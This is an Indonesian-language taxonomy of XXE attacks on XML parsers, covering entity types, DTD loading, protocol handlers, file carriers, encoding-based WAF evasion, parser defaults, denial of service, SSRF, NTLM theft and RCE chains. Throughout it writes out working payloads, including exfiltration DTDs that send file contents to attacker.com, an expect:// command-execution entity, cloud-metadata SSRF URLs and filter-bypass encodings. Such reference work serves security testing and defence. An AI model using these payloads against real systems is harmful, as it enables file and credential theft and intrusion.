Struktur Klasifikasi

Kerentanan XXE muncul dari desain fundamental XML: spesifikasi bahasa mengizinkan dokumen untuk mereferensikan sumber daya eksternal melalui deklarasi entitas dalam Document Type Definition (DTD). Ketika parser XML memproses input yang tidak tepercaya dengan resolusi entitas yang diaktifkan, penyerang dapat memanfaatkan mekanisme ini untuk membaca file lokal, melakukan server-side request forgery, mengekstrak data, atau menyebabkan denial of service.

Taksonomi ini mengorganisir attack surface XXE di sepanjang tiga sumbu. Sumbu 1 (Mutation Target) mengklasifikasikan teknik berdasarkan komponen struktural XML yang dieksploitasi — tipe entitas, mekanisme pemuatan DTD, protocol handler, format carrier, lapisan encoding, perilaku khusus parser, dan struktur ekspansi entitas. Sumbu 2 (Exploitation Channel) mendeskripsikan bagaimana penyerang mengambil data atau mencapai dampak — respons in-band langsung, eksfiltrasi out-of-band, kebocoran berbasis error, pivoting SSRF, atau penipisan sumber daya. Sumbu 3 (Attack Scenario) memetakan teknik ke konteks dampak dunia nyata.

Penyebab utamanya tunggal: parser XML yang me-resolve entitas secara default, dikombinasikan dengan izin spesifikasi untuk referensi sumber daya eksternal. Setiap mutasi dalam taksonomi ini mengeksploitasi variasi dari mekanisme fundamental ini.

Ringkasan Sumbu 2: Exploitation Channel

ChannelMekanismePengembalian Data
Direct (In-Band)Nilai entitas direfleksikan dalam respons HTTPKonten file lengkap dalam response body
Out-of-Band (OOB)Entitas memicu callback HTTP/FTP/DNS ke server penyerangData diekstrak via parameter URL atau saluran data FTP
Error-BasedEntitas yang salah format memicu error parser yang berisi konten fileData bocor dalam pesan error
Blind DetectionTidak ada pengembalian data; dikonfirmasi via timing atau interaksi OOBBoolean: rentan atau tidak
SSRF PivotURL entitas menargetkan layanan internalRespons layanan internal atau efek samping
Resource ExhaustionEkspansi entitas mengonsumsi memori/CPUDenial of service

§1. Mutasi Tipe & Deklarasi Entitas

XML mendefinisikan dua kategori entitas fundamental — general entity (direferensikan dengan &name; dalam konten dokumen) dan parameter entity (direferensikan dengan %name; dalam DTD). Pilihan di antara keduanya, dikombinasikan dengan deklarasi internal vs. eksternal, menentukan data apa yang dapat diakses dan bagaimana data tersebut dapat diekstraksi.

§1-1. General External Entity (XXE Klasik)

Varian XXE paling langsung: general entity eksternal dideklarasikan dengan identifier SYSTEM atau PUBLIC yang menunjuk ke sumber daya target, lalu direferensikan dalam body dokumen. Jika parser me-resolve-nya dan respons mencerminkan nilai entitas, penyerang membaca file secara langsung.

SubtipeMekanismeContoh
SYSTEM file read<!ENTITY xxe SYSTEM "file:///etc/passwd"> direferensikan sebagai &xxe; dalam body<data>&xxe;</data> mengembalikan konten file
PUBLIC entityMenggunakan identifier PUBLIC dengan fallback URI SYSTEM; beberapa parser mencoba katalog publik terlebih dahulu<!ENTITY xxe PUBLIC "-//attacker//DTD//EN" "file:///etc/passwd">
HTTP entitySYSTEM "http://internal-host/admin" memicu SSRFDigunakan untuk probing layanan internal (§7-2)

Kondisi: Parser harus mengizinkan general entity eksternal dan mencerminkan nilai yang di-resolve dalam respons. Ini adalah XXE “klasik” yang dijelaskan oleh sebagian besar tutorial.

§1-2. Parameter Entity

Parameter entity (%name;) hanya valid dalam deklarasi DTD. Parameter entity sangat penting untuk eksploitasi blind XXE karena memungkinkan konstruksi dinamis dari deklarasi entitas — sesuatu yang tidak dapat dilakukan oleh general entity.

SubtipeMekanismeKondisi Utama
External parameter entity (deteksi OOB)<!ENTITY % xxe SYSTEM "http://attacker.com/canary"> %xxe;Mengkonfirmasi kerentanan via callback OOB bahkan ketika tidak ada data yang direfleksikan
Nested parameter entity (eksfiltrasi data)%file; memuat file target, %exfil; membangun URL yang berisi konten file, memicu permintaan HTTPMemerlukan DTD eksternal (§2-2) karena referensi parameter entity bersarang dilarang dalam internal DTD subset
Parameter entity dalam internal DTDPenggunaan langsung dalam internal DTD <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>Bekerja untuk deteksi OOB tetapi tidak dapat menyarangkan entitas untuk eksfiltrasi data

Batasan kritis: Spesifikasi XML melarang referensi parameter entity dalam definisi entitas lain di internal DTD subset. Pembatasan ini mendorong kebutuhan akan pemuatan DTD eksternal (§2) dalam skenario eksfiltrasi blind.

§1-3. Character Entity dan Predefined Entity

Ini bukan vektor serangan itu sendiri tetapi berinteraksi dengan teknik eksploitasi dengan menyebabkan kegagalan parser selama resolusi entitas.

SubtipeMekanismeDampak pada Eksploitasi
Karakter khusus XML dalam konten fileFile yang berisi <, >, & merusak ekspansi entitas saat dimasukkan ke konteks XMLMemaksa penggunaan pembungkus CDATA (§5-4) atau eksfiltrasi OOB/FTP (§3-3)
Tanda persen dalam konten file% dalam konten file yang diekstrak merusak resolusi parameter entityTidak dapat diekstrak via URL parameter entity; memerlukan saluran FTP atau metode berbasis error
Byte non-UnicodeByte di bawah 0x20 (kecuali \t, \n, \r) tidak valid dalam XML 1.0File biner tidak dapat diekstrak secara langsung; memerlukan Base64 via PHP wrapper (§3-4) atau encoding serupa

§2. Mutasi Mekanisme Pemuatan DTD

DTD adalah kendaraan yang melaluinya deklarasi entitas diperkenalkan. Sumber dan struktur DTD menentukan teknik nesting entitas apa yang tersedia dan pembatasan apa yang berlaku.

§2-1. Internal DTD Subset

Deklarasi entitas ditempatkan langsung dalam <!DOCTYPE foo [ ... ]> dalam dokumen XML itu sendiri.

SubtipeMekanismeKondisi Utama
Inline general entity<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>Serangan paling sederhana; memerlukan refleksi entitas dalam respons
Inline parameter entity (hanya OOB)<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;Dapat memicu OOB tetapi tidak dapat menyarangkan entitas untuk eksfiltrasi data

Batasan: Larangan spesifikasi XML pada referensi parameter entity bersarang dalam internal DTD berarti eksfiltrasi data via parameter entity memerlukan DTD eksternal.

§2-2. Pemuatan DTD Eksternal

Parser mengambil DTD dari server yang dikendalikan penyerang, memungkinkan teknik parameter entity bersarang.

SubtipeMekanismeKondisi Utama
Remote DTD via SYSTEM<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;Memerlukan HTTP keluar dari server target
Remote DTD via PUBLICMenggunakan identifier PUBLIC dengan URI fallback SYSTEMBeberapa parser lebih memilih pencarian katalog PUBLIC
DTD-hosted nested exfiltrationDTD eksternal mendefinisikan: <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%data;'>"> %exfil; %send;Rantai eksfiltrasi blind XXE yang kanonik

§2-3. Pemanfaatan Ulang DTD Lokal

Ketika koneksi keluar diblokir, penyerang dapat memanfaatkan ulang file DTD yang sudah ada di filesystem sistem target. Dengan mendefinisikan ulang entitas yang dideklarasikan dalam DTD lokal dalam internal DTD subset, eksfiltrasi berbasis error menjadi mungkin tanpa akses jaringan eksternal apa pun.

SubtipeMekanismeKondisi Utama
DTD lokal LinuxMendefinisikan ulang entitas dalam /usr/share/yelp/dtd/docbookx.dtd atau /usr/share/xml/fontconfig/fonts.dtdFile DTD harus ada di target; nama entitas harus cocok
DTD lokal WindowsMendefinisikan ulang entitas dalam C:\Windows\System32\wbem\xml\cim20.dtd atau serupaPath DTD khusus Windows
DTD aplikasi kustomAplikasi menyertakan file DTD-nya sendiri yang dapat dimanfaatkan ulangMemerlukan pengetahuan tentang lokasi file DTD aplikasi

Mekanisme: Internal DTD subset mendefinisikan ulang parameter entity dari DTD lokal, menyuntikkan entitas bersarang yang memicu parsing error yang berisi konten file target. Ini bekerja karena redefinisi entitas dalam internal subset menimpa definisi DTD (lokal) eksternal, dan larangan nesting di-bypass karena entitas awalnya dideklarasikan dalam DTD eksternal.

Contoh (menggunakan Yelp DTD di Linux):

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>

§2-4. Teknik DTD Hibrida

SubtipeMekanismeKondisi Utama
DTD chainingInternal DTD memuat DTD eksternal, yang memuat DTD eksternal lainnyaResolusi entitas multi-hop; setiap hop dapat menambah entitas baru
Conditional DTD section<![ INCLUDE [ ... ]]> dan <![ IGNORE [ ... ]]> dikendalikan oleh parameter entityHanya valid dalam external DTD subset; dapat digunakan untuk pemilihan payload kondisional

§3. Mutasi Protocol Handler & URI Scheme

URI scheme dalam identifier SYSTEM menentukan sumber daya apa yang dapat diakses parser. Parser XML yang berbeda mendukung protokol yang berbeda, menciptakan attack surface yang kaya di luar pembacaan file:// sederhana.

§3-1. Protokol File System

SubtipeMekanismeDukungan Parser
file:///Pembacaan file lokal langsungUniversal — semua parser
file:///c:/Path file WindowsParser berbasis Windows
file:////server/sharePath UNC untuk akses SMB/CIFSWindows — memicu autentikasi NTLM ke server SMB penyerang (§7-4); juga berfungsi sebagai saluran eksfiltrasi data ketika konten file yang di-resolve entitas disematkan dalam path UNC, mengirimkan data melalui SMB ke share yang dikendalikan penyerang (§7-3)
netdoc:///Alias khusus Java untuk file://Parser XML Java (legacy)

§3-2. Protokol HTTP/HTTPS

SubtipeMekanismeKasus Penggunaan
http:// SSRFParser membuat permintaan HTTP ke URL yang ditentukanAkses layanan internal, cloud metadata (§7-2)
https://Sama seperti HTTP tetapi terenkripsiBypass pemantauan jaringan; memerlukan dukungan TLS parser
Eksfiltrasi HTTP dengan query stringhttp://attacker.com/?data=%file;Eksfiltrasi data OOB via parameter URL

§3-3. Protokol FTP

SubtipeMekanismeKeunggulan Utama
Eksfiltrasi OOB FTPURL entitas ftp://attacker.com:2121/%file;Saluran data FTP dapat menangani konten multi-baris yang tidak dapat ditangani parameter URL HTTP
FTP untuk karakter khususFTP mentoleransi karakter yang merusak URL HTTPDapat mengekstrak file yang berisi #, ?, dan beberapa kemunculan &

Keunggulan dibanding HTTP: Eksfiltrasi OOB HTTP menyematkan konten file dalam URL, yang rusak pada baris baru dan karakter khusus. FTP mengirimkan konten file melalui saluran data, menangani file multi-baris secara native (meskipun % dan beberapa karakter kontrol masih menyebabkan masalah).

§3-4. PHP Stream Wrapper

Integrasi libxml2 PHP mengekspos PHP stream wrapper ke parser XML, yang secara dramatis memperluas attack surface.

SubtipeMekanismeDampak
php://filter/convert.base64-encode/resource=Meng-encode Base64 konten file sebelum resolusi entitasMenyelesaikan masalah karakter khusus — file apa pun dapat diekstrak dengan bersih
Rantai php://filterMerangkai beberapa filter (misalnya string.rot13, convert.iconv)Dapat mengubah konten file untuk mem-bypass deteksi WAF
expect://Mengeksekusi perintah sistem (memerlukan ekstensi expect)RCE langsung: <!ENTITY xxe SYSTEM "expect://id">
data://URI data inlinedata://text/plain;base64,BASE64PAYLOAD — bypass filter kata kunci
phar://Memicu deserialisasi PHP pada arsip PharRantai XXE → deserialisasi Phar → RCE
compress.zlib://Membaca file terkompresiAkses file .gz atau bypass inspeksi konten

§3-5. Protokol Khusus Java

SubtipeMekanismeDampak
jar://Mengakses file dalam arsip ZIP/JAR via URLjar:http://attacker.com/evil.jar!/file.txt — parser mengunduh arsip, mengekstrak file; file sementara tertinggal di disk
jar: untuk pembuatan file sementaraParser mengunduh dan menyimpan JAR ke direktori tempDapat menanamkan file di filesystem; dikombinasikan dengan kerentanan lain untuk RCE
gopher:// (legacy)Komunikasi soket TCP mentahSudah tidak digunakan di Java modern; ketika tersedia, memungkinkan interaksi protokol TCP arbitrer
netdoc://Alternatif untuk file:// di JavaDapat mem-bypass pemeriksaan blocklist file://

§3-6. Deteksi Berbasis DNS

SubtipeMekanismeKasus Penggunaan
DNS OOB via subdomainhttp://%file;.attacker.com/Mengekstrak potongan data kecil via kueri DNS subdomain; bekerja bahkan ketika HTTP diblokir
DNS canaryhttp://unique-id.attacker-dns.com/Deteksi kerentanan murni tanpa eksfiltrasi data

§4. Mutasi Format XML & Carrier

XXE tidak terbatas pada endpoint XML mentah. Setiap fitur aplikasi yang memproses format berbasis XML adalah attack surface potensial, termasuk upload file, parser dokumen, dan endpoint API.

§4-1. Carrier Format Dokumen

Banyak format dokumen umum adalah arsip ZIP yang berisi file XML. Menyuntikkan payload XXE ke dalam file XML yang disematkan ini dapat menjangkau parser yang mungkin tidak disadari developer sedang memproses XML.

SubtipeFormat CarrierFile XML TargetTitik Masuk Tipikal
DOCX/PPTX/XLSXOffice Open XML (OOXML)[Content_Types].xml, word/document.xml, xl/sharedStrings.xmlUpload file, impor dokumen, impor data
ODT/ODS/ODPOpenDocument Formatcontent.xml, meta.xml, styles.xmlUpload file, konversi dokumen
SVGScalable Vector GraphicsFile SVG itu sendiri (XML root)Upload gambar, upload avatar, foto profil
PDF (XFA)Form XFA yang disematkan dalam PDFStream XML XFA dalam struktur PDFUpload form, pemrosesan dokumen (CVE-2025-66516)

Contoh (SVG):

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

§4-2. Carrier API & Protokol

SubtipeProtokol/FormatMekanisme
Endpoint SOAPSOAP/XML Web ServicesBody XML langsung berisi deklarasi entitas; layanan legacy sering memiliki konfigurasi parser yang permisif
REST dengan Content-Type XMLREST API yang menerima application/xmlBanyak REST API yang terutama menggunakan JSON juga menerima XML jika Content-Type: application/xml dikirim
XML-RPCProtokol XML-RPCPemanggilan metode adalah dokumen XML; jarang diperkuat terhadap XXE
Feed RSS/AtomFeed sindikasiParser feed yang memproses URL feed yang diserahkan pengguna
SAMLSecurity Assertion Markup LanguageAssertion dan respons SAML adalah XML; XXE dalam SAML dapat mem-bypass autentikasi
XMPPExtensible Messaging and Presence ProtocolProtokol chat yang menggunakan XML stream
EPP (Extensible Provisioning Protocol)EPP (RFC 5730) / XML over TLSEPP adalah protokol native XML untuk registrasi domain antara registrar dan registry. XXE dalam implementasi server EPP memungkinkan pengungkapan file lokal dan manipulasi zona domain yang tidak sah — didemonstrasikan via kompromi Perangkat Lunak Registry CoCCA yang memengaruhi infrastruktur ccTLD

§4-3. Content-Type Confusion

SubtipeMekanismeKondisi Utama
JSON-to-XML swapUbah Content-Type: application/json menjadi Content-Type: application/xml dan kirim body XMLFramework backend mendeteksi dan merutekan otomatis ke parser XML
Multipart XML injectionPayload XML dalam field multipart form dataParser memproses XML dari nilai field form
URL-encoded XMLPayload XML yang di-URL-encode dalam parameter POSTAplikasi mendekode dan mengurai XML dari parameter

§4-4. XInclude Injection

Ketika aplikasi menyisipkan input pengguna ke dalam dokumen XML sisi server (bukan mengurai dokumen yang disediakan pengguna), penyerang tidak dapat mengontrol DOCTYPE. XInclude menyediakan alternatif.

SubtipeMekanismeKondisi Utama
XInclude file read<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///etc/passwd" parse="text"/>Parser harus mengaktifkan pemrosesan XInclude
XInclude dengan fallbackElemen <xi:fallback> menyediakan konten alternatif jika href utama gagalBerguna untuk pengumpulan informasi berbasis error

§4-5. XXE Terkait XSLT

SubtipeMekanismeDampak
XXE dalam stylesheet XSLTDeklarasi entitas dalam DOCTYPE file XSLTJika pengguna dapat menyediakan/memengaruhi stylesheet XSLT, XXE berlaku
Fungsi xsl:document()Fungsi XSLT yang membaca dokumen eksternalPembacaan file tanpa deklarasi entitas
XSLT ke RCExsl:script atau fungsi ekstensi Java/C# dalam XSLTEksekusi kode penuh via ekstensi prosesor XSLT

§5. Mutasi Encoding & Obfuscation

Mutasi berbasis encoding menargetkan celah antara apa yang dapat diurai WAF/IDS dan apa yang sebenarnya diproses parser XML. Karena XML mendukung beberapa encoding karakter dan parser mendeteksi encoding secara otomatis, ini menciptakan attack surface evasion yang kaya.

§5-1. Bypass Encoding Karakter

SubtipeMekanismeDampak pada WAF
UTF-16 BE/LE<?xml version="1.0" encoding="UTF-16BE"?> dengan payload dalam UTF-16WAF melihat data biner; parser XML mendekode dengan benar
Varian UTF-32UTF-32BE, UTF-32LE, UCS-4 (2143), UCS-4 (3412)Encoding langka yang sebagian besar WAF tidak dapat mendekodenya
UTF-7<?xml version="1.0" encoding="UTF-7"?>Encoding legacy; beberapa parser mendukungnya, sebagian besar WAF tidak
EBCDICEncoding karakter IBM mainframeNiche tetapi encoding XML yang valid; sepenuhnya tidak transparan bagi WAF standar
Mixed encodingMulai dokumen dalam satu encoding, beralih di tengah dokumenMengeksploitasi deteksi encoding parser vs. analisis statis WAF

Contoh konversi: iconv -f UTF-8 -t UTF-16BE payload.xml > payload_utf16.xml

§5-2. Manipulasi Deklarasi XML

SubtipeMekanismeEfek
Whitespace berlebih dalam <?xml?><?xml version="1.0" encoding="UTF-8"?>Merusak pola regex WAF yang mengharapkan format tertentu
Deklarasi XML yang hilangHilangkan <?xml?> seluruhnya; parser menggunakan encoding defaultWAF mungkin tidak mengenali dokumen sebagai XML
Ketidakcocokan deklarasi encodingDeklarasikan satu encoding dalam <?xml?>, kirim dokumen dalam encoding lainPerilaku parser bervariasi; dapat membingungkan WAF dan parser

§5-3. Encoding HTML Entity dalam DTD

SubtipeMekanismeContoh
Referensi karakter hex&#x25; untuk %, &#x73; untuk sBypass filter kata kunci untuk SYSTEM, ENTITY, dll.
Referensi karakter desimal&#37; untuk %, &#115; untuk sAlternatif untuk hex encoding
Obfuscation kata kunciEncode SYSTEM sebagai S&#x59;STEM atau &#83;&#89;&#83;&#84;&#69;&#77;Bypass aturan WAF yang mencocokkan literal kata kunci SYSTEM

§5-4. CDATA Wrapping

SubtipeMekanismeKondisi Utama
Pembungkus eksfiltrasi CDATADTD eksternal membangun <![CDATA[%file;]]> di sekitar konten file via konkatenasi entitasMenyelesaikan masalah karakter khusus XML untuk <, >, &
CDATA dalam payload OOBBungkus data yang diekstrak dalam CDATA sebelum dikirim via HTTP/FTPMengurangi error parsing selama eksfiltrasi

Batasan: Pembungkus CDATA tidak dapat menangani file yang berisi ]]> (yang mengakhiri bagian CDATA) atau % (yang merusak resolusi parameter entity).

§5-5. Injeksi Komentar dan Whitespace

SubtipeMekanismeEfek
Komentar XML dalam DOCTYPE<!DOCTYPE foo [<!-- comment --><!ENTITY xxe SYSTEM "file:///etc/passwd">]>Merusak pencocokan pola WAF
Baris baru dalam deklarasiPisahkan <!ENTITY di beberapa barisWAF mungkin hanya memeriksa N byte pertama atau baris pertama
Null byteSisipkan null byte di antara tokenBeberapa WAF terpotong pada null byte; parser XML melewatinya

§6. Mutasi Perilaku Khusus Parser

Implementasi parser XML bervariasi secara signifikan di berbagai bahasa dan library. Konfigurasi default, fitur yang didukung, dan penanganan edge case berbeda, menciptakan vektor serangan khusus parser.

§6-1. Parser XML Java

Java memiliki ekosistem pemrosesan XML terluas dan, secara historis, konfigurasi default yang paling permisif.

Parser/APIStatus XXE DefaultPerilaku Utama
DocumentBuilderFactoryRentan secara default (pre-JAXP security properties)Harus secara eksplisit menonaktifkan external entity dan DTD
SAXParserFactoryRentan secara defaultMitigasi yang sama seperti DocumentBuilderFactory
XMLInputFactory (StAX)IS_SUPPORTING_EXTERNAL_ENTITIES default tidak ditentukan (bergantung pada implementasi)Harus menetapkan IS_SUPPORTING_EXTERNAL_ENTITIES dan SUPPORT_DTD ke false
TransformerFactoryRentan secara defaultMendukung protokol jar://, netdoc://
DOM4JRentan secara defaultMemerlukan konfigurasi SAXReader
JAXB UnmarshallerUmumnya aman dalam versi terbaruBergantung pada konfigurasi parser yang mendasarinya

Protokol khusus Java: jar://, netdoc://, dan (dalam versi lama) gopher:// tersedia melalui mekanisme URL handler Java (§3-5).

§6-2. PHP / libxml2

AspekPerilaku
PHP < 8.0libxml_disable_entity_loader(false) adalah default; XXE memungkinkan
PHP >= 8.0Pemuatan external entity dinonaktifkan secara default; libxml_disable_entity_loader() deprecated
Flag LIBXML_NOENTSecara eksplisit mengaktifkan substitusi entitas — memperkenalkan ulang XXE bahkan di PHP 8.0+
simplexml_load_string() dengan opsiMeneruskan LIBXML_NOENT sebagai opsi membuatnya rentan
PHP stream wrapperphp://filter, expect://, phar://, data:// tersedia via I/O handler libxml2 (§3-4)
Bypass LIBXML_NONET (double-parse)LIBXML_NONET menekan akses jaringan tetapi bukan ekspansi parameter entity pada waktu parse; dalam alur parse–sanitize–re-parse, entitas yang mereferensikan rantai php://filter berkembang selama pass pertama sebelum flag berlaku, memungkinkan pembacaan file lokal dalam konfigurasi yang diperkuat

§6-3. Parser XML .NET

Parser/ClassStatus XXE DefaultPerilaku Utama
XmlReader (>= .NET 4.5.2)Aman secara default (DtdProcessing.Prohibit)Harus secara eksplisit mengaktifkan pemrosesan DTD agar rentan
XmlTextReader (< .NET 4.5.2)Rentan secara defaultHarus menetapkan DtdProcessing = DtdProcessing.Prohibit
XmlDocument (>= .NET 4.5.2)Aman secara default (null XmlResolver)Menetapkan XmlResolver memperkenalkan ulang kerentanan
XPathNavigatorBergantung pada reader yang mendasarinyaMewarisi konfigurasi reader
Bypass larangan DTD (CVE-2024-30043)XmlReader me-resolve parameter entity sebelum memeriksa larangan DTDOOB XXE memungkinkan bahkan dengan DtdProcessing.Prohibit dalam konfigurasi tertentu

§6-4. Parser XML Python

ParserStatus XXE Default
xml.etree.ElementTreeAman — tidak memproses external entity
xml.dom.minidomAman secara default
xml.saxBerpotensi rentan — bergantung pada konfigurasi handler
lxmlRentan jika resolve_entities=True (bukan default sejak lxml 3.x)
defusedxmlLibrary yang diperkuat — alternatif aman untuk semua parsing XML Python

§6-5. Parser XML Ruby

ParserStatus XXE Default
Nokogiri (>= 1.5.4)External entity dinonaktifkan secara default
Nokogiri (flag NOENT)Meneruskan Nokogiri::XML::ParseOptions::NOENT mengaktifkan ulang pemrosesan entitas
REXMLUmumnya aman — tidak me-resolve external entity

§6-6. Perilaku libxml2 (Bersama di Berbagai Bahasa)

libxml2 menopang parsing XML di PHP, Python (lxml), Ruby (Nokogiri), dan banyak bahasa lainnya. Perilakunya adalah benang merah bersama.

PerilakuDeskripsiDampak
Deteksi encoding otomatisMembaca BOM dan <?xml encoding=""> untuk menentukan encodingBypass WAF berbasis encoding (§5-1)
Batas kedalaman entitasMembatasi ekspansi entitas bersarang untuk mencegah billion laughsDapat disiasati dengan quadratic blowup (§7-1)
xmlCtxtUseOptions()Memproses flag opsi seperti XML_PARSE_NOENT, XML_PARSE_DTDLOADFlag yang salah konfigurasi di level aplikasi memperkenalkan ulang XXE

§7. Kategori Mutasi Berorientasi Dampak

Kategori-kategori ini mengorganisir teknik berdasarkan efek akhirnya daripada mekanisme strukturalnya, berfungsi sebagai jembatan antara mekanik mutasi dan eksploitasi dunia nyata.

§7-1. Denial of Service via Ekspansi Entitas

Ekspansi entitas XML dapat mengonsumsi memori/CPU secara eksponensial atau kuadratik tanpa memerlukan akses jaringan eksternal apa pun.

SubtipeMekanismeKonsumsi Sumber Daya
Billion Laughs (Ekspansi Eksponensial)10 entitas, masing-masing didefinisikan sebagai 10x yang sebelumnya; entitas akhir berkembang menjadi ~10^9 salinan~3 GB memori dari payload <1 KB
Quadratic BlowupSatu entitas besar (misalnya 55.000 karakter) direferensikan 55.000 kali~2,5 GB dari payload ~200 KB; mem-bypass batas kedalaman entitas
Recursive entity expansionEntitas A mereferensikan Entitas B yang mereferensikan Entitas ABeberapa parser mendeteksi dan memblokir; yang lain crash
External entity DoSEntitas menunjuk ke /dev/random, /dev/urandom, atau stream HTTP tak terbatasParser hang tanpa batas waktu saat mencoba membaca
Decompression bombjar:// atau compress.zlib:// menunjuk ke zip bombPenipisan disk/memori selama dekompresi

Catatan pertahanan: Billion Laughs banyak terdeteksi oleh parser modern via batas kedalaman/ekspansi entitas. Quadratic Blowup mem-bypass batas ini karena menggunakan pengulangan flat (tidak bersarang).

§7-2. SSRF via XXE

XXE adalah salah satu vektor SSRF paling andal karena parser itu sendiri yang membuat permintaan HTTP, mewarisi posisi jaringan dan kredensial server.

SubtipeTargetDampak
Cloud metadatahttp://169.254.169.254/latest/meta-data/ (AWS), http://metadata.google.internal/ (GCP)Pencurian kredensial cloud, pengambilalihan instance
Internal API probinghttp://internal-service:8080/api/adminAkses ke layanan internal di belakang firewall
Port scanningIterasi entitas pada http://target:PORT/ dan amati waktu respons/errorPemetaan topologi jaringan internal
Akses layanan localhosthttp://127.0.0.1:XXXX/Akses layanan yang terikat hanya ke loopback

§7-3. Rantai Eksfiltrasi Data

Eksfiltrasi yang kompleks memerlukan perangkaian beberapa teknik dari kategori sebelumnya.

RantaiKomponenMenangani Multi-barisMenangani Karakter Khusus
HTTP OOB (sederhana)§1-2 + §2-2 + §3-2TidakTidak (#, ?, & merusak URL)
FTP OOB§1-2 + §2-2 + §3-3Ya (via saluran data FTP)Sebagian (masih rusak pada %)
Error-based + local DTD§1-2 + §2-3 + refleksi pesan errorHanya satu barisTerbatas
PHP filter Base64§3-4 + php://filter/convert.base64-encodeYa (Base64 adalah satu baris)Ya (Base64 meng-encode segalanya)
Eksfiltrasi DNS§3-6 + subdomain encodingTidak (batas label 63 karakter)Terbatas (charset label DNS)
CDATA wrapping§5-4 + §2-2 (DTD eksternal)YaSebagian (rusak pada ]]> dan %)
Eksfiltrasi Windows UNC/SMB§1-1 + §3-1 (UNC) + server SMB penyerangYa (saluran data SMB menangani multi-baris secara native)Ya (transport aman-biner; tidak ada batasan URL encoding)

§7-4. Pencurian dan Relay Hash NTLM

Khusus Windows: ketika entitas XXE mereferensikan path UNC atau sumber daya SMB, host Windows secara otomatis mengirimkan kredensial autentikasi NTLM.

SubtipeMekanismeDampak
UNC path NTLM leak<!ENTITY xxe SYSTEM "\\\\attacker.com\\share">Hash NTLMv2 ditangkap oleh Responder/Impacket; cracking offline atau relay
Redirect HTTP → SMBEntitas mengambil URL HTTP yang melakukan redirect 302 ke file://attacker.com/shareMem-bypass filter path UNC sambil tetap memicu autentikasi NTLM
WebDAV NTLM leakEntitas mereferensikan URL WebDAV pada server penyerangWindows mencoba autentikasi NTLM ke endpoint WebDAV

§7-5. Rantai XXE-to-RCE

XXE saja jarang mencapai remote code execution, tetapi berfungsi sebagai primitif yang kuat dalam rantai multi-langkah.

RantaiKomponenPlatform
XXE → PHP expect://id§3-4 (wrapper expect://)PHP dengan ekstensi expect
XXE → Phar deserializationXXE membaca URI phar:// yang memicu unserialization → gadget chain → RCEPHP
XXE → PHP filter chain (CVE-2024-2961)XXE + bug rantai filter iconv → penulisan file arbitrer → RCEPHP (di-patch di PHP 8.x)
XXE → pencurian kredensial → akses admin → RCEBaca file konfigurasi yang berisi kredensial → autentikasi sebagai admin → upload webshellPlatform apa pun
XXE → SSRF → eksploitasi layanan internalXXE memicu SSRF ke layanan internal yang rentanPlatform apa pun dengan layanan internal yang rentan
Nested deserialization → XXE (CVE-2024-34102)Deserialisasi objek yang dibuat memicu parsing XML dengan XXEMagento/Adobe Commerce (PHP)

§8. Kompilasi Bypass WAF & Filter

Bagian ini mengkonsolidasikan teknik bypass dari seluruh taksonomi, diorganisir berdasarkan mekanisme penyaringan yang dihindari.

§8-1. Bypass Filter Berbasis Kata Kunci

Kata Kunci TargetTeknik BypassReferensi
SYSTEMHTML entity encoding: S&#x59;STEM§5-3
ENTITYReferensi karakter: &#69;NTITY§5-3
DOCTYPESisipkan whitespace: <!DOCTYPE foo atau komentar XML§5-2, §5-5
file://Gunakan netdoc:// (Java) atau php://filter (PHP)§3-4, §3-5
/etc/passwdGunakan php://filter/convert.base64-encode/resource=/etc/passwd§3-4

§8-2. Bypass Content-Type & Format

FilterTeknik BypassReferensi
Konten XML diblokirKirim payload dalam container SVG, DOCX, atau XLSX§4-1
application/xml diblokirGunakan text/xml atau application/soap+xml§4-2
Endpoint hanya JSONAlihkan Content-Type ke application/xml; framework mungkin melakukan auto-route§4-3

§8-3. Bypass Berbasis Encoding

FilterTeknik BypassReferensi
WAF hanya memeriksa UTF-8Encode payload dalam UTF-16 atau UTF-32§5-1
WAF memeriksa rentang ASCIIGunakan encoding UTF-7 atau EBCDIC§5-1
WAF regex pada baris pertamaPisahkan deklarasi di beberapa baris, tambahkan komentar§5-5

§8-4. Bypass Struktural

FilterTeknik BypassReferensi
DTD diblokirGunakan XInclude alih-alih deklarasi entitas§4-4
External entity diblokirGunakan pemanfaatan ulang DTD lokal dengan eksfiltrasi berbasis error§2-3
HTTP keluar diblokirGunakan eksfiltrasi DNS atau error-based dengan DTD lokal§3-6, §2-3
Ekspansi entitas dibatasiGunakan quadratic blowup alih-alih ekspansi bersarang§7-1
External entity diblokir (PHP)Rangkaikan ekspansi parameter entity dengan php://filter stream wrapper; dalam konfigurasi di mana libxml_disable_entity_loader membatasi resolusi external entity tetapi penanganan PHP stream wrapper tetap aktif, parameter entity yang mereferensikan rantai php://filter masih dapat memicu pembacaan file lokal melalui lapisan stream§1-2, §3-4

Pemetaan Attack Scenario (Sumbu 3)

SkenarioArsitekturKategori Mutasi Utama
Local File ReadAplikasi apa pun yang mengurai XML§1-1 + §2-1 + §3-1
Eksfiltrasi Data BlindXML diurai tetapi tidak direfleksikan§1-2 + §2-2 + §3-2/§3-3
Eksfiltrasi Berbasis Error (Tanpa Koneksi Keluar)Lingkungan dengan firewall, pesan error terlihat§1-2 + §2-3 + §5-3
Pencurian Cloud MetadataAplikasi yang di-host di cloud (AWS/GCP/Azure)§1-1 + §3-2 + §7-2
Pencurian Kredensial NTLMServer yang tergabung dalam domain Windows§1-1 + §3-1 (UNC) + §7-4
File Upload XXEAplikasi yang menerima upload DOCX/XLSX/SVG/PDF§4-1 + §1-1
